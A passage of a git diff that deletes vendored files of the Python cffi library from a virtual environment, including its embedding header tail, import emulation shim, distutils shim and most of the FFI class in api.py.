_cffi_call_python_fnptr fnptr; - int current_err = errno; -#ifdef _MSC_VER - int current_lasterr = GetLastError(); -#endif - fnptr = _cffi_start_python(); - if (fnptr == NULL) { - fprintf(stderr, "function %s() called, but initialization code " - "failed. Returning 0.\n", externpy->name); - memset(args, 0, externpy->size_of_result); - } -#ifdef _MSC_VER - SetLastError(current_lasterr); -#endif - errno = current_err; - - if (fnptr != NULL) - fnptr(externpy, args); -} - - -/* The cffi_start_python() function makes sure Python is initialized - and our cffi module is set up. It can be called manually from the - user C code. The same effect is obtained automatically from any - dll-exported ``extern "Python"`` function. This function returns - -1 if initialization failed, 0 if all is OK. */ -_CFFI_UNUSED_FN -static int cffi_start_python(void) -{ - if (_cffi_call_python == &_cffi_start_and_call_python) { - if (_cffi_start_python() == NULL) - return -1; - } - cffi_read_barrier(); - return 0; -} - -#undef cffi_compare_and_swap -#undef cffi_write_barrier -#undef cffi_read_barrier - -#ifdef __cplusplus -} -#endif diff --git a/venv/Lib/site-packages/cffi/_imp_emulation.py b/venv/Lib/site-packages/cffi/_imp_emulation.py deleted file mode 100644 index 136abdddf9d1276095e6f6724298ac19811c136a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/_imp_emulation.py +++ /dev/null @@ -1,83 +0,0 @@ - -try: - # this works on Python < 3.12 - from imp import * - -except ImportError: - # this is a limited emulation for Python >= 3.12. - # Note that this is used only for tests or for the old ffi.verify(). - # This is copied from the source code of Python 3.11. - - from _imp import (acquire_lock, release_lock, - is_builtin, is_frozen) - - from importlib._bootstrap import _load - - from importlib import machinery - import os - import sys - import tokenize - - SEARCH_ERROR = 0 - PY_SOURCE = 1 - PY_COMPILED = 2 - C_EXTENSION = 3 - PY_RESOURCE = 4 - PKG_DIRECTORY = 5 - C_BUILTIN = 6 - PY_FROZEN = 7 - PY_CODERESOURCE = 8 - IMP_HOOK = 9 - - def get_suffixes(): - extensions = [(s, 'rb', C_EXTENSION) - for s in machinery.EXTENSION_SUFFIXES] - source = [(s, 'r', PY_SOURCE) for s in machinery.SOURCE_SUFFIXES] - bytecode = [(s, 'rb', PY_COMPILED) for s in machinery.BYTECODE_SUFFIXES] - return extensions + source + bytecode - - def find_module(name, path=None): - if not isinstance(name, str): - raise TypeError("'name' must be a str, not {}".format(type(name))) - elif not isinstance(path, (type(None), list)): - # Backwards-compatibility - raise RuntimeError("'path' must be None or a list, " - "not {}".format(type(path))) - - if path is None: - if is_builtin(name): - return None, None, ('', '', C_BUILTIN) - elif is_frozen(name): - return None, None, ('', '', PY_FROZEN) - else: - path = sys.path - - for entry in path: - package_directory = os.path.join(entry, name) - for suffix in ['.py', machinery.BYTECODE_SUFFIXES[0]]: - package_file_name = '__init__' + suffix - file_path = os.path.join(package_directory, package_file_name) - if os.path.isfile(file_path): - return None, package_directory, ('', '', PKG_DIRECTORY) - for suffix, mode, type_ in get_suffixes(): - file_name = name + suffix - file_path = os.path.join(entry, file_name) - if os.path.isfile(file_path): - break - else: - continue - break # Break out of outer loop when breaking out of inner loop. - else: - raise ImportError(name, name=name) - - encoding = None - if 'b' not in mode: - with open(file_path, 'rb') as file: - encoding = tokenize.detect_encoding(file.readline)[0] - file = open(file_path, mode, encoding=encoding) - return file, file_path, (suffix, mode, type_) - - def load_dynamic(name, path, file=None): - loader = machinery.ExtensionFileLoader(name, path) - spec = machinery.ModuleSpec(name=name, loader=loader, origin=path) - return _load(spec) diff --git a/venv/Lib/site-packages/cffi/_shimmed_dist_utils.py b/venv/Lib/site-packages/cffi/_shimmed_dist_utils.py deleted file mode 100644 index c3d23128189fc121bff3f86b19330b0ac5ce0a45..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/_shimmed_dist_utils.py +++ /dev/null @@ -1,45 +0,0 @@ -""" -Temporary shim module to indirect the bits of distutils we need from setuptools/distutils while providing useful -error messages beyond `No module named 'distutils' on Python >= 3.12, or when setuptools' vendored distutils is broken. - -This is a compromise to avoid a hard-dep on setuptools for Python >= 3.12, since many users don't need runtime compilation support from CFFI. -""" -import sys - -try: - # import setuptools first; this is the most robust way to ensure its embedded distutils is available - # (the .pth shim should usually work, but this is even more robust) - import setuptools -except Exception as ex: - if sys.version_info >= (3, 12): - # Python 3.12 has no built-in distutils to fall back on, so any import problem is fatal - raise Exception("This CFFI feature requires setuptools on Python >= 3.12. The setuptools module is missing or non-functional.") from ex - - # silently ignore on older Pythons (support fallback to stdlib distutils where available) -else: - del setuptools - -try: - # bring in just the bits of distutils we need, whether they really came from setuptools or stdlib-embedded distutils - from distutils import log, sysconfig - from distutils.ccompiler import CCompiler - from distutils.command.build_ext import build_ext - from distutils.core import Distribution, Extension - from distutils.dir_util import mkpath - from distutils.errors import DistutilsSetupError, CompileError, LinkError - from distutils.log import set_threshold, set_verbosity - - if sys.platform == 'win32': - try: - # FUTURE: msvc9compiler module was removed in setuptools 74; consider removing, as it's only used by an ancient patch in `recompiler` - from distutils.msvc9compiler import MSVCCompiler - except ImportError: - MSVCCompiler = None -except Exception as ex: - if sys.version_info >= (3, 12): - raise Exception("This CFFI feature requires setuptools on Python >= 3.12. Please install the setuptools package.") from ex - - # anything older, just let the underlying distutils import error fly - raise Exception("This CFFI feature requires distutils. Please install the distutils or setuptools package.") from ex - -del sys diff --git a/venv/Lib/site-packages/cffi/api.py b/venv/Lib/site-packages/cffi/api.py deleted file mode 100644 index ec8ee7dfd2b66fba702b477f98300616a778ad4a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/api.py +++ /dev/null @@ -1,960 +0,0 @@ -import sys, types -from .lock import allocate_lock -from .error import CDefError -from . import model - -try: - basestring -except NameError: - # Python 3.x - basestring = str - -_unspecified = object() - - - -class FFI: - r''' - The main top-level class that you instantiate once, or once per module. - - Example usage: - - ffi = FFI() - ffi.cdef(""" - int printf(const char *, ...); - """) - - C = ffi.dlopen(None) # standard library - -or- - C = ffi.verify() # use a C compiler: verify the decl above is right - - C.printf("hello, %s!\n", ffi.new("char[]", "world")) - ''' - - def __init__(self, backend=None): - """Create an FFI instance. The 'backend' argument is used to - select a non-default backend, mostly for tests. - """ - if backend is None: - # You need PyPy (>= 2.0 beta), or a CPython (>= 2.6) with - # _cffi_backend.so compiled. - import _cffi_backend as backend - from . import __version__ - if backend.__version__ != __version__: - # bad version! Try to be as explicit as possible. - if hasattr(backend, '__file__'): - # CPython - raise Exception("Version mismatch: this is the 'cffi' package version %s, located in %r. When we import the top-level '_cffi_backend' extension module, we get version %s, located in %r. The two versions should be equal; check your installation." % ( - __version__, __file__, - backend.__version__, backend.__file__)) - else: - # PyPy - raise Exception("Version mismatch: this is the 'cffi' package version %s, located in %r. This interpreter comes with a built-in '_cffi_backend' module, which is version %s. The two versions should be equal; check your installation." % ( - __version__, __file__, backend.__version__)) - # (If you insist you can also try to pass the option - # 'backend=backend_ctypes.CTypesBackend()', but don't - # rely on it! It's probably not going to work well.) - - from . import cparser - self._backend = backend - self._lock = allocate_lock() - self._parser = cparser.Parser() - self._cached_btypes = {} - self._parsed_types = types.ModuleType('parsed_types').__dict__ - self._new_types = types.ModuleType('new_types').__dict__ - self._function_caches = [] - self._libraries = [] - self._cdefsources = [] - self._included_ffis = [] - self._windows_unicode = None - self._init_once_cache = {} - self._cdef_version = None - self._embedding = None - self._typecache = model.get_typecache(backend) - if hasattr(backend, 'set_ffi'): - backend.set_ffi(self) - for name in list(backend.__dict__): - if name.startswith('RTLD_'): - setattr(self, name, getattr(backend, name)) - # - with self._lock: - self.BVoidP = self._get_cached_btype(model.voidp_type) - self.BCharA = self._get_cached_btype(model.char_array_type) - if isinstance(backend, types.ModuleType): - # _cffi_backend: attach these constants to the class - if not hasattr(FFI, 'NULL'): - FFI.NULL = self.cast(self.BVoidP, 0) - FFI.CData, FFI.CType = backend._get_types() - else: - # ctypes backend: attach these constants to the instance - self.NULL = self.cast(self.BVoidP, 0) - self.CData, self.CType = backend._get_types() - self.buffer = backend.buffer - - def cdef(self, csource, override=False, packed=False, pack=None): - """Parse the given C source. This registers all declared functions, - types, and global variables. The functions and global variables can - then be accessed via either 'ffi.dlopen()' or 'ffi.verify()'. - The types can be used in 'ffi.new()' and other functions. - If 'packed' is specified as True, all structs declared inside this - cdef are packed, i.e. laid out without any field alignment at all. - Alternatively, 'pack' can be a small integer, and requests for - alignment greater than that are ignored (pack=1 is equivalent to - packed=True). - """ - self._cdef(csource, override=override, packed=packed, pack=pack) - - def embedding_api(self, csource, packed=False, pack=None): - self._cdef(csource, packed=packed, pack=pack, dllexport=True) - if self._embedding is None: - self._embedding = '' - - def _cdef(self, csource, override=False, **options): - if not isinstance(csource, str): # unicode, on Python 2 - if not isinstance(csource, basestring): - raise TypeError("cdef() argument must be a string") - csource = csource.encode('ascii') - with self._lock: - self._cdef_version = object() - self._parser.parse(csource, override=override, **options) - self._cdefsources.append(csource) - if override: - for cache in self._function_caches: - cache.clear() - finishlist = self._parser._recomplete - if finishlist: - self._parser._recomplete = [] - for tp in finishlist: - tp.finish_backend_type(self, finishlist) - - def dlopen(self, name, flags=0): - """Load and return a dynamic library identified by 'name'. - The standard C library can be loaded by passing None. - Note that functions and types declared by 'ffi.cdef()' are not - linked to a particular library, just like C headers; in the - library we only look for the actual (untyped) symbols. - """ - if not (isinstance(name, basestring) or - name is None or - isinstance(name, self.CData)): - raise TypeError("dlopen(name): name must be a file name, None, " - "or an already-opened 'void *' handle") - with self._lock: - lib, function_cache = _make_ffi_library(self, name, flags) - self._function_caches.append(function_cache) - self._libraries.append(lib) - return lib - - def dlclose(self, lib): - """Close a library obtained with ffi.dlopen(). After this call, - access to functions or variables from the library will fail - (possibly with a segmentation fault). - """ - type(lib).__cffi_close__(lib) - - def _typeof_locked(self, cdecl): - # call me with the lock! - key = cdecl - if key in self._parsed_types: - return self._parsed_types[key] - # - if not isinstance(cdecl, str): # unicode, on Python 2 - cdecl = cdecl.encode('ascii') - # - type = self._parser.parse_type(cdecl) - really_a_function_type = type.is_raw_function - if really_a_function_type: - type = type.as_function_pointer() - btype = self._get_cached_btype(type) - result = btype, really_a_function_type - self._parsed_types[key] = result - return result - - def _typeof(self, cdecl, consider_function_as_funcptr=False): - # string -> ctype object - try: - result = self._parsed_types[cdecl] - except KeyError: - with self._lock: - result = self._typeof_locked(cdecl) - # - btype, really_a_function_type = result - if really_a_function_type and not consider_function_as_funcptr: - raise CDefError("the type %r is a function type, not a " - "pointer-to-function type" % (cdecl,)) - return btype - - def typeof(self, cdecl): - """Parse the C type given as a string and return the - corresponding object. - It can also be used on 'cdata' instance to get its C type. - """ - if isinstance(cdecl, basestring): - return self._typeof(cdecl) - if isinstance(cdecl, self.CData): - return self._backend.typeof(cdecl) - if isinstance(cdecl, types.BuiltinFunctionType): - res = _builtin_function_type(cdecl) - if res is not None: - return res - if (isinstance(cdecl, types.FunctionType) - and hasattr(cdecl, '_cffi_base_type')): - with self._lock: - return self._get_cached_btype(cdecl._cffi_base_type) - raise TypeError(type(cdecl)) - - def sizeof(self, cdecl): - """Return the size in bytes of the argument. It can be a - string naming a C type, or a 'cdata' instance. - """ - if isinstance(cdecl, basestring): - BType = self._typeof(cdecl) - return self._backend.sizeof(BType) - else: - return self._backend.sizeof(cdecl) - - def alignof(self, cdecl): - """Return the natural alignment size in bytes of the C type - given as a string. - """ - if isinstance(cdecl, basestring): - cdecl = self._typeof(cdecl) - return self._backend.alignof(cdecl) - - def offsetof(self, cdecl, *fields_or_indexes): - """Return the offset of the named field inside the given - structure or array, which must be given as a C type name. - You can give several field names in case of nested structures. - You can also give numeric values which correspond to array - items, in case of an array type. - """ - if isinstance(cdecl, basestring): - cdecl = self._typeof(cdecl) - return self._typeoffsetof(cdecl, *fields_or_indexes)[1] - - def new(self, cdecl, init=None): - """Allocate an instance according to the specified C type and - return a pointer to it. The specified C type must be either a - pointer or an array: ``new('X *')`` allocates an X and returns - a pointer to it, whereas ``new('X[n]')`` allocates an array of - n X'es and returns an array referencing it (which works - mostly like a pointer, like in C). You can also use - ``new('X[]', n)`` to allocate an array of a non-constant - length n. - - The memory is initialized following the rules of declaring a - global variable in C: by default it is zero-initialized, but - an explicit initializer can be given which can be used to - fill all or part of the memory. - - When the returned object goes out of scope, the memory - is freed. In other words the returned object has - ownership of the value of type 'cdecl' that it points to. This - means that the raw data can be used as long as this object is - kept alive, but must not be used for a longer time. Be careful - about that when copying the pointer to the memory somewhere - else, e.g. into another structure. - """ - if isinstance(cdecl, basestring): - cdecl = self._typeof(cdecl) - return self._backend.newp(cdecl, init) - - def new_allocator(self, alloc=None, free=None, - should_clear_after_alloc=True): - """Return a new allocator, i.e. a function that behaves like ffi.new() - but uses the provided low-level 'alloc' and 'free' functions. - - 'alloc' is called with the size as argument. If it returns NULL, a - MemoryError is raised. 'free' is called with the result of 'alloc' - as argument. Both can be either Python function or directly C - functions. If 'free' is None, then no free function is called. - If both 'alloc' and 'free' are None, the default is used. - - If 'should_clear_after_alloc' is set to False, then the memory - returned by 'alloc' is assumed to be already cleared (or you are - fine with garbage); otherwise CFFI will clear it. - """ - compiled_ffi = self._backend.FFI() - allocator = compiled_ffi.new_allocator(alloc, free, - should_clear_after_alloc) - def allocate(cdecl, init=None): - if isinstance(cdecl, basestring): - cdecl = self._typeof(cdecl) - return allocator(cdecl, init) - return allocate - - def cast(self, cdecl, source): - """Similar to a C cast: returns an instance of the named C - type initialized with the given 'source'. The source is - casted between integers or pointers of any type. - """ - if isinstance(cdecl, basestring): - cdecl = self._typeof(cdecl) - return self._backend.cast(cdecl, source) - - def string(self, cdata, maxlen=-1): - """Return a Python string (or unicode string) from the 'cdata'. - If 'cdata' is a pointer or array of characters or bytes, returns - the null-terminated string. The returned string extends until - the first null character, or at most 'maxlen' characters. If - 'cdata' is an array then 'maxlen' defaults to its length. - - If 'cdata' is a pointer or array of wchar_t, returns a unicode - string following the same rules. - - If 'cdata' is a single character or byte or a wchar_t, returns - it as a string or unicode string. - - If 'cdata' is an enum, returns the value of the enumerator as a - string, or 'NUMBER' if the value is out of range. - """ - return self._backend.string(cdata, maxlen) - - def unpack(self, cdata, length): - """Unpack an array of C data of the given length, - returning a Python string/unicode/list. - - If 'cdata' is a pointer to 'char', returns a byte string. - It does not stop at the first null. This is equivalent to: - ffi.buffer(cdata, length)[:] - - If 'cdata' is a pointer to 'wchar_t', returns a unicode string. - 'length' is measured in wchar_t's; it is not the size in bytes. - - If 'cdata' is a pointer to anything else, returns a list of - 'length' items. This is a faster equivalent to: - [cdata[i] for i in range(length)] - """ - return self._backend.unpack(cdata, length) - - #def buffer(self, cdata, size=-1): - # """Return a read-write buffer object that references the raw C data - # pointed to by the given 'cdata'. The 'cdata' must be a pointer or - # an array. Can be passed to functions expecting a buffer, or directly - # manipulated with: - # - # buf[:] get a copy of it in a regular string, or - # buf[idx] as a single character - # buf[:] = ... - # buf[idx] = ... change the content - # """ - # note that 'buffer' is a type, set on this instance by __init__ - - def from_buffer(self, cdecl, python_buffer=_unspecified, - require_writable=False): - """Return a cdata of the given type pointing to the data of the - given Python object, which must support the buffer interface. - Note that this is not meant to be used on the built-in types - str or unicode (you can build 'char[]' arrays explicitly) - but only on objects containing large quantities of raw data - in some other format, like 'array.array' or numpy arrays. - - The first argument is optional and default to 'char[]'. - """ - if python_buffer is _unspecified: - cdecl, python_buffer = self.BCharA, cdecl - elif isinstance(cdecl, basestring): - cdecl = self._typeof(cdecl) - return self._backend.from_buffer(cdecl, python_buffer, - require_writable) - - def memmove(self, dest, src, n): - """ffi.memmove(dest, src, n) copies n bytes of memory from src to dest. - - Like the C function memmove(), the memory areas may overlap; - apart from that it behaves like the C function memcpy(). - - 'src' can be any cdata ptr or array, or any Python buffer object. - 'dest' can be any cdata ptr or array, or a writable Python buffer - object. The size to copy, 'n', is always measured in bytes. - - Unlike other methods, this one supports all Python buffer including - byte strings and bytearrays---but it still does not support - non-contiguous buffers. - """ - return self._backend.memmove(dest, src, n) - - def callback(self, cdecl, python_callable=None, error=None, onerror=None): - """Return a callback object or a decorator making such a - callback object. 'cdecl' must name a C function pointer type. - The callback invokes the specified 'python_callable' (which may - be provided either directly or via a decorator). Important: the - callback object must be manually kept alive for as long as the - callback may be invoked from the C level. - """ - def callback_decorator_wrap(python_callable): - if not callable(python_callable): - raise TypeError("the 'python_callable' argument " - "is not callable") - return self._backend.callback(cdecl, python_callable, - error, onerror) - if isinstance(cdecl, basestring): - cdecl = self._typeof(cdecl, consider_function_as_funcptr=True) - if python_callable is None: - return callback_decorator_wrap # decorator mode - else: - return callback_decorator_wrap(python_callable) # direct mode - - def getctype(self, cdecl, replace_with=''): - """Return a string giving the C type 'cdecl', which may be itself - a string or a object. If 'replace_with' is given, it gives - extra text to append (or insert for more complicated C types), like - a variable name, or '*' to get actually the C type 'pointer-to-cdecl'. - """ - if isinstance(cdecl, basestring): - cdecl = self._typeof(cdecl) - replace_with = replace_with.strip() - if (replace_with.startswith('*') - and '&[' in self._backend.getcname(cdecl, '&')): - replace_with = '(%s)' % replace_with - elif replace_with and replace_with[0] not in '[(': - replace_with = ' ' + replace_with - return self._backend.getcname(cdecl, replace_with) - - def gc(self, cdata, destructor, size=0): - """Return a new cdata object that points to the same - data. Later, when this new cdata object is garbage-collected, - 'destructor(old_cdata_object)' will be called. - - The optional 'size' gives an estimate of the size, used to - trigger the garbage collection more eagerly. So far only used - on PyPy. It tells the GC that the returned object keeps alive - roughly 'size' bytes of external memory. - """ - return self._backend.gcp(cdata, destructor, size) - - def _get_cached_btype(self, type): - assert self._lock.acquire(False) is False - # call me with the lock! - try: - BType = self._cached_btypes[type] - except KeyError: - finishlist = [] - BType = type.get_cached_btype(self, finishlist) - for type in finishlist: - type.finish_backend_type(self, finishlist) - return BType - - def verify(self, source='', tmpdir=None, **kwargs): - """Verify that the current ffi signatures compile on this - machine, and return a dynamic library object. The dynamic - library can be used to call functions and access global - variables declared in this 'ffi'. The library is compiled - by the C compiler: it gives you C-level API compatibility - (including calling macros). This is unlike 'ffi.dlopen()', - which requires binary compatibility in the signatures. - """ - from .verifier import Verifier, _caller_dir_pycache - # - # If set_unicode(True) was called, insert the UNICODE and - # _UNICODE macro declarations - if self._windows_unicode: - self._apply_windows_unicode(kwargs) - # - # Set the tmpdir here, and not in Verifier.__init__: it picks - # up the caller's directory, which we want to be the caller of - # ffi.verify(), as opposed to the caller of Veritier(). - tmpdir = tmpdir or _caller_dir_pycache() - # - # Make a Verifier() and use it to load the library. - self.verifier = Verifier(self, source, tmpdir, **kwargs) - lib = self.verifier.load_library() - # - # Save the loaded library for keep-alive purposes, even - # if the caller doesn't keep it alive itself (it should). - self._libraries.append(lib) - return lib - - def _get_errno(self): - return self._backend.get_errno() - def _set_errno(self, errno): - self._backend.set_errno(errno) - errno = property(_get_errno, _set_errno, None, - "the value of 'errno' from/to the C calls") - - def getwinerror(self, code=-1): - return self._backend.getwinerror(code) - - def _pointer_to(self, ctype): - with self._lock: - return model.pointer_cache(self, ctype) - - def addressof(self, cdata, *fields_or_indexes): - """Return the address of a . - If 'fields_or_indexes' are given, returns the address of that - field or array item in the structure or array, recursively in - case of nested structures. - """ - try: - ctype = self._backend.typeof(cdata) - except TypeError: - if '__addressof__' in type(cdata).__dict__: - return type(cdata).__addressof__(cdata, *fields_or_indexes) - raise - if fields_or_indexes: - ctype, offset = self._typeoffsetof(ctype, *fields_or_indexes) - else: - if ctype.kind == "pointer": - raise TypeError("addressof(pointer)") - offset = 0 - ctypeptr = self._pointer_to(ctype) - return self._backend.rawaddressof(ctypeptr, cdata, offset) - - def _typeoffsetof(self, ctype, field_or_index, *fields_or_indexes): - ctype, offset = self._backend.typeoffsetof(ctype, field_or_index) - for field1 in fields_or_indexes: - ctype, offset1 = self._backend.typeoffsetof(ctype, field1, 1) - offset += offset1 - return ctype, offset - - def include(self, ffi_to_include): - """Includes the typedefs, structs, unions and enums defined - in another FFI instance. Usage is similar to a #include in C, - where a part of the program might include types defined in - another part for its own usage. Note that the include() - method has no effect on functions, constants and global - variables, which must anyway be accessed directly from the - lib object returned by the original FFI instance. - """ - if not isinstance(ffi_to_include, FFI): - raise TypeError("ffi.include() expects an argument that is also of" - " type cffi.FFI, not %r" % ( - type(ffi_to_include).__name__,)) - if ffi_to_include is self: - raise ValueError("self.include(self)") - with ffi_to_include._lock: - with self._lock: - self._parser.include(ffi_to_include._parser) - self._cdefsources.append('[') - self._cdefsources.extend(ffi_to_include._cdefsources) - self._cdefsources.append(']') - self._included_ffis.append(ffi_to_include) - - def new_handle(self, x): - return self._backend.newp_handle(self.BVoidP, x) - - def from_handle(self, x): - return self._backend.from_handle(x) - - def release(self, x): - self._backend.release(x) - - def set_unicode(self, enabled_flag): - """Windows: if 'enabled_flag' is True, enable the UNICODE and - _UNICODE defines in C, and declare the types like TCHAR and LPTCSTR - to be (pointers to) wchar_t. If 'enabled_flag' is False, - declare these types to be (pointers to) plain 8-bit characters. - This is mostly for backward compatibility; you usually want True. - """ - if self._windows_unicode is not None: - raise ValueError("set_unicode() can only be called once") - enabled_flag = bool(enabled_flag) - if enabled_flag: - self.cdef("typedef wchar_t TBYTE;" - "typedef wchar_t TCHAR;" - "typedef const wchar_t *LPCTSTR;" - "typedef const wchar_t *PCTSTR;" - "typedef wchar_t *LPTSTR;" - "typedef wchar_t *PTSTR;" - "typedef TBYTE *PTBYTE;" - "typedef TCHAR *PTCHAR;") - else: - self.cdef("typedef char TBYTE;" - "typedef char TCHAR;" - "typedef const char *LPCTSTR;" - "typedef const char *PCTSTR;" - "typedef char *LPTSTR;" - "typedef char *PTSTR;" - "typedef TBYTE *PTBYTE;" - "typedef TCHAR *PTCHAR;") - self._windows_unicode = enabled_flag - - def _apply_windows_unicode(self, kwds): - defmacros = kwds.get('define_macros', ()) - if not isinstance(defmacros, (list, tuple)): - raise TypeError("'define_macros' must be a list or tuple") - defmacros = list(defmacros) + [('UNICODE', '1'), - ('_UNICODE', '1')] - kwds['define_macros'] = defmacros - - def _apply_embedding_fix(self, kwds): - # must include an argument like "-lpython2.7" for the compiler - def ensure(key, value): - lst = kwds.setdefault(key, []) - if value not in lst: - lst.append(value) - # - if '__pypy__' in sys.builtin_module_names: - import os - if sys.platform == "win32": - # we need 'libpypy-c.lib'. Current distributions of - # pypy (>= 4.1) contain it as 'libs/python27.lib'. - pythonlib = "python{0[0]}{0[1]}".format(sys.version_info) - if hasattr(sys, 'prefix'): - ensure('library_dirs', os.path.join(sys.prefix, 'libs')) - else: - # we need 'libpypy-c.{so,dylib}', which should be by - # default located in 'sys.prefix/bin' for installed - # systems. - if sys.version_info < (3,): - pythonlib = "pypy-c" - else: - pythonlib = "pypy3-c" - if hasattr(sys, 'prefix'): - ensure('library_dirs', os.path.join(sys.prefix, 'bin')) - # On uninstalled pypy's, the libpypy-c is typically found in - # .../pypy/goal/. - if hasattr(sys, 'prefix'): - ensure('library_dirs', os.path.join(sys.prefix, 'pypy', 'goal')) - else: - if sys.platform == "win32": - template = "python%d%d" - if hasattr(sys, 'gettotalrefcount'): - template += '_d' - else: - try: - import sysconfig - except ImportError: # 2.6 - from cffi._shimmed_dist_utils import sysconfig - template = "python%d.%d" - if sysconfig.get_config_var('DEBUG_EXT'): - template += sysconfig.get_config_var('DEBUG_EXT') - pythonlib = (template % - (sys.hexversion >> 24, (sys.hexversion >> 16) & 0xff)) - if hasattr(sys, 'abiflags'): - pythonlib += sys.abiflags - ensure('libraries', pythonlib) - if sys.platform == "win32": - ensure('extra_link_args', '/MANIFEST') - - def set_source(self, module_name, source, source_extension='.c', **kwds): - import os - if hasattr(self, '_assigned_source'): - raise ValueError("set_source() cannot be called several times " - "per ffi object") - if not isinstance(module_name, basestring): - raise TypeError("'module_name' must be a string") - if os.sep in module_name or (os.altsep and os.altsep in module_name): - raise ValueError("'module_name' must not contain '/': use a dotted " - "name to make a 'package.module' location") - self._assigned_source = (str(module_name), source, - source_extension, kwds) - - def set_source_pkgconfig(self, module_name, pkgconfig_libs, source, - source_extension='.c', **kwds): - from . import pkgconfig - if not isinstance(pkgconfig_libs, list): - raise TypeError("the pkgconfig_libs argument must be a list " - "of package names") - kwds2 = pkgconfig.flags_from_pkgconfig(pkgconfig_libs) - pkgconfig.merge_flags(kwds, kwds2) - self.set_source(module_name, source, source_extension, **kwds) - - def distutils_extension(self, tmpdir='build', verbose=True): - from cffi._shimmed_dist_utils import mkpath - from .recompiler import recompile - # - if not hasattr(self, '_assigned_source'): - if hasattr(self, 'verifier'): # fallback, 'tmpdir' ignored - return self.verifier.get_extension() - raise ValueError("set_source() must be called before" - " distutils_extension()") - module_name, source, source_extension, kwds = self._assigned_source - if source is None: - raise TypeError("distutils_extension() is only for C extension " - "modules, not for dlopen()-style pure Python " - "modules") - mkpath(tmpdir) - ext, updated = recompile(self, module_name, - source, tmpdir=tmpdir, extradir=tmpdir, - source_extension=source_extension, - call_c_compiler=False, **kwds) - if verbose: - if updated: - sys.stderr.write("regenerated: %r\n" % (ext.sources[0],)) - else: - sys.stderr.write("not modified: %r\n" % (ext.sources[0],)) - return ext - - def emit_c_code(self, filename): - from .recompiler import recompile - # - if not hasattr(self, '_assigned_source'): - raise ValueError("set_source() must be called before emit_c_code()") - module_name, source, source_extension, kwds = self._assigned_source - if source is None: - raise TypeError("emit_c_code() is only for C extension modules, " - "not for dlopen()-style pure Python modules") - recompile(self, module_name, source, - c_file=filename, call_c_compiler=False, - uses_ffiplatform=False, **kwds) - - def emit_python_code(self, filename): - from .recompiler import recompile - # - if not hasattr(self, '_assigned_source'): - raise ValueError("set_source() must be called before emit_c_code()") - module_name, source, source_extension, kwds = self._assigned_source - if source is not None: - raise TypeError("emit_python_code() is only for dlopen()-style " - "pure Python modules, not for C extension modules") - recompile(self, module_name, source, - c_file=filename, call_c_compiler=False, - uses_ffiplatform=False, **kwds) - - def compile(self, tmpdir='.', verbose=0, target=None, debug=None): - """The 'target' argument gives the final file name of the - compiled DLL. Use '*' to force distutils' choice, suitable for - regular CPython C API modules. Use a file name ending in '.*' - to ask for the system's default extension for dynamic libraries - (.so/.dll/.dylib). - - The default is '*' when building a non-embedded C API extension, - and (module_name + '.*') when building an embedded library. - """ - from .recompiler import recompile - # - if not hasattr(self, '_assigned_source'): - raise ValueError("set_source() must be called before compile()") - module_name, source, source_extension, kwds = self._assigned_source - return recompile(self, module_name, source, tmpdir=tmpdir, - target=target, source_extension=source_extension, - compiler_verbose=verbose, debug=debug, **kwds) - - def init_once(self, func, tag): - # Read _init_once_cache[tag], which is either (False, lock) if - # we're calling the function now in some thread, or (True, result). - # Don't call setdefault() in most cases, to avoid allocating and - # immediately freeing a lock; but still use setdefaut() to avoid - # races. - try: - x = self._init_once_cache[tag] - except KeyError: - x = self._init_once_cache.setdefault(tag, (False, allocate_lock())) - # Common case: we got (True, result), so we return the result. - if x[0]: - return x[1] - # Else, it's a lock. Acquire it to serialize the following tests. - with x[1]: - # Read again from _init_once_cache the current status. - x = self._init_once_cache[tag] - if x[0]: - return x[1] - # Call the function and store the result back. - result = func() - self._init_once_cache[tag] = (True, result) - return result - - def embedding_init_code(self, pysource): - if self._embedding: - raise ValueError("embedding_init_code() can only be called once") - # fix 'pysource' before it gets dumped into the C file: - # - remove empty lines at the beginning, so it starts at "line 1" - # - dedent, if all non-empty lines are indented - # - check for SyntaxErrors - import re - match = re.match(r'\s*\n', pysource) - if match: - pysource = pysource[match.end():] - lines = pysource.splitlines() or [''] - prefix = re.match(r'\s*', lines[0]).group() - for i in range(1, len(lines)): - line = lines[i] - if line.rstrip(): - while not line.startswith(prefix): - prefix = prefix[:-1] - i = len(prefix) - lines = [line[i:]+'\n' for line in lines] - pysource = ''.join(lines) - # - compile(pysource, "cffi_init", "exec") - # - self._embedding = pysource - - def def_extern(self, *args, **kwds): - raise ValueError("ffi.def_extern() is only available on API-mode FFI " - "objects") - - def list_types(self): - """Returns the user type names known to this FFI instance. - This returns a tuple containing three lists of names: - (typedef_names, names_of_structs, names_of_unions) - """ - typedefs = [] - structs = [] - unions = [] - for key in self._parser._declarations: - if key.startswith('typedef '): - typedefs.append(key[8:]) - elif key.startswith('struct '): - structs.append(key[7:]) - elif key.startswith('union '): - unions.append(key[6:]) - typedefs.sort() - structs.sort() - unions.sort() - return (typedefs, structs, unions) - - -def _load_backend_lib(backend, name, flags): - import os - if not isinstance(name, basestring): - if sys.platform != "win32" or name is not None: - return backend.load_library(name, flags) - name = "c" # Windows: load_library(None) fails, but this works - # on Python 2 (backward compatibility hack only) - first_error = None - if '.' in name or '/' in name or os.sep in name: - try: - return backend.load_library(name, flags) - except OSError as e: - first_error = e - import ctypes.util - path = ctypes.util.find_library(name) - if path is None: - if name == "c" and sys.platform == "win32" and sys.version_info >= (3,): - raise OSError("dlopen(None) cannot work on Windows for Python 3 " - "(see http://bugs.python.org/issue23606)") - msg = ("ctypes.util.find_library() did not manage " - "to locate a library called %r" % (name,)) - if first_error is not None: - msg = "%s. Additionally, %s" % (first_error, msg) - raise OSError(msg) - return backend.load_library(path, flags) - -def _make_ffi_library(ffi, libname, flags): - backend = ffi._backend - backendlib = _load_backend_lib(backend, libname, flags) - # - def accessor_function(name): - key = 'function ' + name - tp, _ = ffi._parser._declarations[key] - BType = ffi._get_cached_btype(tp) - value = backendlib.load_function(BType, name) - library.__dict__[name] = value - # - def accessor_variable(name): - key = 'variable ' + name - tp, _ = ffi._parser._declarations[key] - BType = ffi._get_cached_btype(tp) - read_variable = backendlib.read_variable - write_variable = backendlib.write_variable - setattr(FFILibrary, name, property( - lambda self: read_variable(BType, name), - lambda self, value: write_variable(BType, name, value))) - # - def addressof_var(name): - try: - return addr_variables[name] - except KeyError: - with ffi._lock: - if name not in addr_variables: - key = 'variable ' + name - tp, _ = 